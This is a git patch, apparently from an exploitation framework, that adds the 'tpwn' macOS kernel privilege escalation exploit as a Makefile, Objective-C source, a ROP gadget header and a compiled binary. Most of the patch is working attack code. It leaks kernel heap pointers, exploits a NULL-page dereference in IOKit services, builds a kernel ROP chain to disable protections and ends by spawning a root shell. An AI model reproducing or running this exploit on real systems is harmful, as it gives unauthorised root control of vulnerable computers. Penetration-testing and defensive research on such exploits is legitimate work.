From efc980074c1fc0142237ac53a78c455f469c5930 Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 17 Aug 2015 16:36:36 -0500 Subject: [PATCH 1/2] Add tpwn exploit files --- data/exploits/tpwn/Makefile | 3 + data/exploits/tpwn/import.h | 34 ++++ data/exploits/tpwn/lsym.h | 47 +++++ data/exploits/tpwn/lsym.m | 159 +++++++++++++++++ data/exploits/tpwn/lsym_gadgets.h | 69 +++++++ data/exploits/tpwn/main.m | 286 ++++++++++++++++++++++++++++++ data/exploits/tpwn/tpwn | Bin 0 -> 31484 bytes 7 files changed, 598 insertions(+) create mode 100644 data/exploits/tpwn/Makefile create mode 100644 data/exploits/tpwn/import.h create mode 100644 data/exploits/tpwn/lsym.h create mode 100644 data/exploits/tpwn/lsym.m create mode 100644 data/exploits/tpwn/lsym_gadgets.h create mode 100644 data/exploits/tpwn/main.m create mode 100755 data/exploits/tpwn/tpwn diff --git a/data/exploits/tpwn/Makefile b/data/exploits/tpwn/Makefile new file mode 100644 index 0000000000..dfecee38e4 --- /dev/null +++ b/data/exploits/tpwn/Makefile @@ -0,0 +1,3 @@ +all: + gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 + strip tpwn diff --git a/data/exploits/tpwn/import.h b/data/exploits/tpwn/import.h new file mode 100644 index 0000000000..cf0a0354f4 --- /dev/null +++ b/data/exploits/tpwn/import.h @@ -0,0 +1,34 @@ +#ifndef pwn_import_h +#define pwn_import_h + + +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "lsym.h" +#include "lsym_gadgets.h" + +#endif diff --git a/data/exploits/tpwn/lsym.h b/data/exploits/tpwn/lsym.h new file mode 100644 index 0000000000..eaa1d417d9 --- /dev/null +++ b/data/exploits/tpwn/lsym.h @@ -0,0 +1,47 @@ +#ifndef __pwn__lsym__ +#define __pwn__lsym__ + +#include +#include "import.h" + +#define JUNK_VALUE 0x1337133713371337 + + +typedef struct kernel_fake_stack { + uint64_t __cnt; + uint64_t __padding[0x4999]; + uint64_t __rop_chain[0x5000]; +} kernel_fake_stack_t; + +#define LSYM_PAYLOAD_VTABLE 1 + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); + +typedef struct lsym_map { + void* map; + const char* path; + size_t sz; +} lsym_map_t; + +typedef enum { + LSYM_DO_NOT_REBASE = (1 << 0) +} lsym_gadget_flags; + +typedef uint64_t lsym_map_pointer_t; +typedef uint64_t lsym_kern_pointer_t; +typedef uint64_t lsym_slidden_kern_pointer_t; +typedef uint64_t lsym_offset_t; + +lsym_kern_pointer_t kext_pointer(const char* identifier); +lsym_map_t *lsym_map_file(const char *path); +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name); +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags); +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping); +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer); +lsym_offset_t lsym_vm_addrperm(); + +typedef struct kernel_exploit_vector kernel_exploit_vector_t; + +#endif /* defined(__pwn__lsym__) */ diff --git a/data/exploits/tpwn/lsym.m b/data/exploits/tpwn/lsym.m new file mode 100644 index 0000000000..5ac22b512b --- /dev/null +++ b/data/exploits/tpwn/lsym.m @@ -0,0 +1,159 @@ +#include "lsym.h" +#import + +#include + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); + + +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); +#ifdef FIND_KERNEL_SLIDE +static lsym_offset_t kaslr_slide=0; +static char kaslr_slide_found =0; +#endif + +__attribute__((always_inline)) +lsym_kern_pointer_t kext_pointer(const char* identifier){ + return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue]; +} + +__attribute__((always_inline)) +lsym_map_t *lsym_map_file(const char *path) { + int fd=open(path, O_RDONLY); +if(fd < 0) return 0; + struct stat sb; + fstat(fd, &sb); + if (sb.st_size < 0x1000) { + return 0; + } + void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0); + lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t)); + ret->map = map; + ret->path = path; + ret->sz = sb.st_size & 0xFFFFFFFF; + return ret; +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) { + lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size); + if (!off) { + puts("[-] Couldn't find a ROP gadget, aborting."); + exit(1); + } + return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map)); +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) { + struct mach_header_64 *mh = mapping->map; + struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT); + return (lsym_kern_pointer_t)text->vmaddr; +} +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) { + struct mach_header_64 *mh = mapping->map; + struct symtab_command *symtab = NULL; + struct segment_command_64 *linkedit = NULL; + /* + * Check header + */ + if (mh->magic != MH_MAGIC_64) { + return (lsym_kern_pointer_t)NULL; + } + + /* + * Find the LINKEDIT and SYMTAB sections + */ + linkedit = find_segment_64(mh, SEG_LINKEDIT); + if (!linkedit) { + return (lsym_kern_pointer_t)NULL; + } + + symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB); + if (!symtab) { + return (lsym_kern_pointer_t)NULL; + } + void* symtabp = symtab->stroff + 4 + (char*)mh; + void* symtabz = symtab->stroff + (char*)mh; + void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA; + uint32_t idx = 0; + while (symtabp < symendp) { + if(strcmp(symtabp, name) == 0) goto found; + symtabp += strlen((char*)symtabp) + 1; + idx++; + } + printf("[-] symbol %s not resolved.\n", name); exit(0); + return (lsym_kern_pointer_t)NULL; +found:; + struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh); + uint64_t strx = ((char*)symtabp - (char*)symtabz); + unsigned int symp = 0; + while(symp <= (symtab->nsyms)) { + uint32_t strix = *((uint32_t*)nlp); + if(strix == strx) + goto found1; + nlp ++; //sizeof(struct nlist_64); + symp++; + } + printf("[-] symbol not found: %s\n", name); + exit(-1); +found1: + //printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value); + return (lsym_kern_pointer_t)nlp->n_value; + +} + +__attribute__((always_inline)) +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname) +{ + struct load_command *lc; + struct segment_command_64 *s, *fs = NULL; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == LC_SEGMENT_64) { + s = (struct segment_command_64 *)lc; + if (!strcmp(s->segname, segname)) { + fs = s; + break; + } + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return fs; +} + +__attribute__((always_inline)) +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name) +{ + struct section_64 *sect, *fs = NULL; + uint32_t i = 0; + for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64)); + i < seg->nsects; + i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64))) + { + if (!strcmp(sect->sectname, name)) { + fs = sect; + break; + } + } + return fs; +} + +__attribute__((always_inline)) +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd) +{ + struct load_command *lc, *flc; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == cmd) { + flc = (struct load_command *)lc; + break; + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return flc; +} diff --git a/data/exploits/tpwn/lsym_gadgets.h b/data/exploits/tpwn/lsym_gadgets.h new file mode 100644 index 0000000000..a6616e4ca5 --- /dev/null +++ b/data/exploits/tpwn/lsym_gadgets.h @@ -0,0 +1,69 @@ +#ifndef ROP_PIVOT_RAX +/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */ + +#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name)) + +/* ROP gadgets present in 10.10 */ + +// stack pivot +#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0) +#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0) +#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0) +#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0) + +#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0) + +// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts). +// how the fuck do these gadgets even exist lmao + +#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget. +#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0); +#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0) +#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0) +#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0) +#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0) +#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0) +#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0) +#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0) +#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0) +#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0) +#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0) +// register control +#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0) +#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0) +#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0) +#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0) +#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0) +#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0) +#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0) +#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0) +#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0) +#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0) + +// write gadgets +#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0) +#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0) + +// read gadget +#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0) + + +// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents. + +#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0); + +// helpers + +#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++] +#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value; +#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value; +#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE; +#endif diff --git a/data/exploits/tpwn/main.m b/data/exploits/tpwn/main.m new file mode 100644 index 0000000000..9400395f71 --- /dev/null +++ b/data/exploits/tpwn/main.m @@ -0,0 +1,286 @@ +#include +static uint64_t kslide=0; +#define ALLOCS 0x100 +#import "import.h" +#import "lsym_gadgets.h" +static mach_port_t servicea = 0; +static mach_port_t servicex = 0; +__attribute__((always_inline)) inline +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) { + if (!pointer) return pointer; + return (lsym_slidden_kern_pointer_t) pointer + kslide; +} + +__attribute__((always_inline)) static inline +uint64_t alloc(uint32_t addr, uint32_t sz) { + vm_deallocate(mach_task_self(), (vm_address_t) addr, sz); + vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0); + while(sz--) *(char*)(addr+sz)=0; + return addr; +} +__attribute__((always_inline)) static inline +uint64_t leak_heap_ptr(io_connect_t* co) { + io_connect_t conn = MACH_PORT_NULL; + if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) { + puts("failed"); + exit(-20); + } + uint64_t scalarO_64=0; + uint32_t outputCount = 1; + IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount); + if (!scalarO_64) { + puts("failed infoleaking"); + exit(-20); + } + scalarO_64 <<= 8; + scalarO_64 |= 0xffffff0000000000; + return scalarO_64; +} +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_ool_descriptor_t desc; + mach_msg_trailer_t trailer; +} oolmsg_t; +static uint16_t off_w = 0; +__attribute__((always_inline)) static inline +void or_everywhere(uint64_t add) { + io_connect_t conn = MACH_PORT_NULL; + IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0; + if(!off_w) { + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00; + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + char* kp=(char*)0xC00; + while ((uint32_t)kp < 0x1000) { + if (*kp == 0x10) { + break; + } + kp++; + } + if ((uint32_t)kp == 0x1000) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("not vulnerable"); + exit(-1); + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + if (*((char*)0xC00)!=0x10) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("wrong offset"); + exit(-2); + } + off_w = (uint16_t) kp - 0xc00; + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)(add - off_w); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + vm_deallocate(mach_task_self(), 0, 0x1000); + IOServiceClose(conn); +} +__attribute__((always_inline)) static inline +void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + if(!*msgp){ + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp); + mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND); + } + bzero(msg,sizeof(oolmsg_t)); + msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + msg->header.msgh_remote_port = *msgp; + msg->header.msgh_local_port = MACH_PORT_NULL; + msg->header.msgh_size = sizeof(oolmsg_t); + msg->header.msgh_id = 1; + msg->body.msgh_descriptor_count = 1; + msg->desc.address = (void *)vz; + msg->desc.size = svz; + msg->desc.type = MACH_MSG_OOL_DESCRIPTOR; + mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 ); + free(msg); +} +__attribute__((always_inline)) static inline +char* read_kern_data(mach_port_t port) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + bzero(msg,sizeof(oolmsg_t)+0x2000); + mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL); + return msg->desc.address; +} +int main(int argc, char** argv, char** envp){ + if (getuid() == 0) { + execve("/bin/sh",((char* []){"/bin/sh",0}), envp); + exit(0); + } + if((int)main < 0x5000) execve(argv[0],argv,envp); + lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel"); + if (!mapping_kernel || !mapping_kernel->map) { + mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel"); + } + lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily"); + kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10; + sync(); + kern_return_t err; + io_iterator_t iterator; + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator); + servicex = IOIteratorNext(iterator); + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator); + servicea = IOIteratorNext(iterator); + uint64_t c = 0; + or_everywhere((uint64_t)&c); + if (c != 0x10) { + puts("not vulnerable"); + return 2; + } + int ctr=0; +#define DO_TIMES(x) for(ctr=0;ctr__rop_chain; + + or_everywhere(heap_info[1].kobject+0x220); // set online + or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL) + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0x10; + mp[0] = (uint64_t)0; + mp[1] = (uint64_t)vtable; + mp[2] = (uint64_t)&mp[1]; + uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code! + vm_deallocate(mach_task_self(), 0, 0x1000); + setuid(0); + if (getuid() == 0) { + system("/bin/sh"); + exit(0); + } + + puts("didn't get root, but this system is vulnerable. "); + puts("kernel heap may be corrupted"); + return 1; +} diff --git a/data/exploits/tpwn/tpwn b/data/exploits/tpwn/tpwn new file mode 100755 index 0000000000000000000000000000000000000000..dabce3a9ec01a42e8416de90ab067636c4551d7f GIT binary patch literal 31484 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 